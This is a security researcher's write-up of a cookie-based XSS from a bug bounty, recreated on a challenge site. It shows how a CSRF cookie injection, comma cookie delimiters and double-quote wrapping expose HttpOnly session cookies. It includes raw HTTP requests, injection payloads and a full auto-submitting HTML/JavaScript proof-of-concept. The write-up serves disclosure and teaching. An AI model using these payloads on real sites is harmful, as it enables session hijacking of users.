If you would rather play a challenge than read a blog post, or play along as you go, you can find a re-implementation of the bug discussed in this post at https://www.xss.long.lat/.

This is the writeup of the exploitation of a cookie-based XSS I found on a bug bounty program last summer which initially appeared to be:

  • unexploitable - the input for this XSS was in a cookie, and there is usually1 no way to set cookies for another user, meaning that there is usually no way to target another user with this issue; and
  • useless - even if I could find a way to target another user, the XSS affected a website that contained practically no interesting content and appeared as though it could even be abandoned2.

I managed to find ways around both of these obstacles, leading to being able to steal session cookies, including those marked as HttpOnly, from the program’s main customer-facing web application.

As this bug was found on a private program, this post shows the bug on the recreation at https://www.xss.long.lat/ and https://boring.xss.long.lat/. The bug works in exactly the same way, and I just had to change the URLs and cookies names in the proof-of-concept I submitted to the program in order to get it to work against this recreation.

Two harmless injections

This started with a couple of minor issues that had been sitting in my notes. The first was a straightforward XSS in the csrf cookie. When the cookie csrf=test'-alert(1)-' was sent to https://boring.xss.long.lat, the single quotes were reflected unescaped:

<script>
    var csrf = 'test'-alert(1)-'';
    document.getElementById("csrf").value = csrf;
</script>

The second was an injection into a Set-Cookie header when changing the user’s language preference. This could be seen with a request such as:

POST /lang.php HTTP/1.1
Host: boring.xss.long.lat
[...]

lang=it; property=value&csrf=ignored

This request would cause the following Set-Cookie header to be returned:

Set-Cookie: lang=it; property=value

Unfortunately, no attempts at CRLF injection worked here, which would have allowed another Set-Cookie header to be injected for the csrf cookie, and it was only possible to set the lang cookie, which wasn’t unsafely reflected anywhere.

Fortunately, I came across the slides for a great presentation by filedescriptor in which he mentions that some web servers accept commas as well as semicolons as a delimiter in the Cookie header, as suggested by RFC 2965. Happily, my target was one of these web servers.

I could create a simple CSRF exploit to set the value of the lang cookie to z,csrf='-alert(document.domain)-' by generating the following request:

POST /lang.php HTTP/1.1
Host: boring.xss.long.lat
[...]

lang=z,csrf='-alert(document.domain)-'&csrf=ignored

The Set-Cookie header would then be returned as Set-Cookie: lang=it,csrf='-alert(document.domain)-', which browsers will process to set a value for the lang cookie. When main page of https://boring.xss.long.lat was loaded, the browser would send the following Cookie header in the request:

Cookie: lang=it,csrf='-alert(document.domain)-'

The web server would process this as two cookies: the cookie lang with a value of it, and the cookie csrf with a value of '-alert(document.domain)-'. So, the XSS would be triggered:

<script>
    var csrf = ''-alert(document.domain)-'';
    document.getElementById("csrf").value = csrf;
</script>

D is for Domain

I could now trigger the XSS for another user, overcoming the “unexploitable” obstacle, but I still faced the problem that the XSS was on a subdomain that didn’t contain any particularly sensitive data. However, there was one more minor thing sitting in my notes that held the answer. The main customer-facing web application at https://www.xss.long.lat set all of it’s cookies with a domain of xss.long.lat. This means that they are included in requests to every subdomain of xss.long.lat, including boring.xss.long.lat.

Playing around with the server’s cookie processing a little more, I noticed that it would also treat double quotes as special characters. You could encapsulate a cookie’s value in double quotes, which would then cause the server to ignore delimiting characters inside these quotes. For example, consider the following Cookie header:

Cookie: csrf="a; othercookie=b"

The web server would ignore the semicolon as it was inside double quotes, and parse this header as a single cookie named csrf with a value of a; othercookie=b.

If I could place a csrf cookie with one single quote in at the start of the victim’s Cookie header, and another cookie with one single quote in at the end of the victim’s Cookie header, I could get all of the victim’s cookies to be placed inside the value of the csrf cookie:

Cookie: csrf="; PHPSESSID=stealme; z="

The server would treat the header above as one cookie named csrf with a value containing the victim’s session cookie. This would then be reflected back into the DOM of https://boring.xss.long.lat, where I could use XSS to steal its value.

Forcing cookie ordering is something I’ve played around with before, but is explained better in filedescriptor’s slides. In practice, since the cookie injection also allowed attributes to be set, I could create one lang cookie with a value of " which will be included at the end of the Cookie header:

POST /lang.php HTTP/1.1
Host: boring.xss.long.lat
[...]

lang="&csrf=[...]

I could then set a second lang cookie with the value of z,csrf=" and a path of /index.php which will appear at the start of the Cookie header due to the longer path:

POST /lang.php HTTP/1.1
Host: boring.xss.long.lat
[...]

lang=z,csrf=";path=/index.php&csrf=[...]

Browsers will treat these as two separate cookies, and send both in requests. The resulting Cookie header for a request to https://boring.xss.long.lat/index.php is:

Cookie: lang=z,csrf="; PHPSESSID=stealme; csrf=actualvalue; lang="

The server parses this as a lang cookie with a value of z, and a csrf cookie with a value of ; PHPSESSID=stealme; csrf=actualvalue; lang=. So, the HttpOnly session cookie gets reflected into the page at https://boring.xss.long.lat/index.php:

<script>
    var csrf = '; PHPSESSID=stealme; csrf=actualvalue; lang=';
    document.getElementById("csrf").value = csrf;
</script>

E is for Exploit

I’ve included the final exploit below, with some explanation following it. As the default SameSite behaviour in Chrome has changed since I initially found this bug, you’ll notice that I’m also injecting the SameSite=None and Secure3 attributes when setting cookies so that they can be set from form submissions targeting IFrames.

<html>
  <body>
    <!-- iframes to use as targets for form submission, preventing redirection -->
    <iframe id="frame1" name="frame1"></iframe>
    <iframe id="frame2" name="frame2"></iframe>

    <!-- generate the request to set the 'lang' cookie with a value of `"';alert(csrf)//` to go at the end of the user's cookie header -->
    <form action="https://boring.xss.long.lat/lang.php" method="POST" id="cookie1" target="frame1">
      <input type="hidden" name="lang" value="z,&quot;'%3balert(csrf)//;SameSite=None;Secure" />
      <input type="hidden" name="csrf" value="ignored" />
    </form>

    <!-- generate the request to set the 'lang' cookie with a value of 'z,csrf="' and a path of '/index.php' -->
    <form action="https://boring.xss.long.lat/lang.php" method="POST" id="cookie2" target="frame2">
      <input type="hidden" name="lang" value="z,csrf=&quot;;Path=/index.php;SameSite=None;Secure" />
      <input type="hidden" name="csrf" value="ignored" />
    </form>

    <!-- fire it all off -->
    <script>
      let delay = 2000; // Number of milliseconds to wait for cookies to be set before trying to trigger the XSS

      document.getElementById("cookie1").submit();
      document.getElementById("cookie2").submit();

      // Redirect to let the exploit fire
      setTimeout(() => {
        top.location.replace("https://boring.xss.long.lat/index.php");
      }, delay);
    </script>
  </body>
</html>

This will show the session cookie for https://www.xss.long.lat in an alert box: Is this a real blog post about XSS now?

Explanation

First, I create a couple of IFrames that can be used with the target attribute of the forms. This causes the result of the form submission to be displayed inside these IFrames, rather than causing the whole page to redirect.

The two forms that follow are simple CSRF PoCs that set both variants of the lang cookie. Now, I’ve set the lang cookie that appears at the end of the Cookie header to have a value of "';alert(csrf)// to show that I can include JavaScript to access the value of the csrf variable containg the victim’s cookies.

Finally, I use some JavaScript to submit the forms automatically, and then redirect the page to https://boring.xss.long.lat/index.php to trigger the XSS.

F is for Finished

This isn’t the most impactful bug I’ve ever found, but I had a lot of fun exploiting it and learnt a few things in the process so I decided to write it up. The main takeaway for me was the value of keeping note of things that are “a bit off” but seem like they’ll never be exploitable - you never know when you’ll stumble upon a new way to use them.

F is also for Footnotes

  1. depending on if you consider the presence XSS on another subdomain to be usual or not 

  2. in fact, this issue was resolved by the program removing the website 

  3. https://www.chromestatus.com/feature/5633521622188032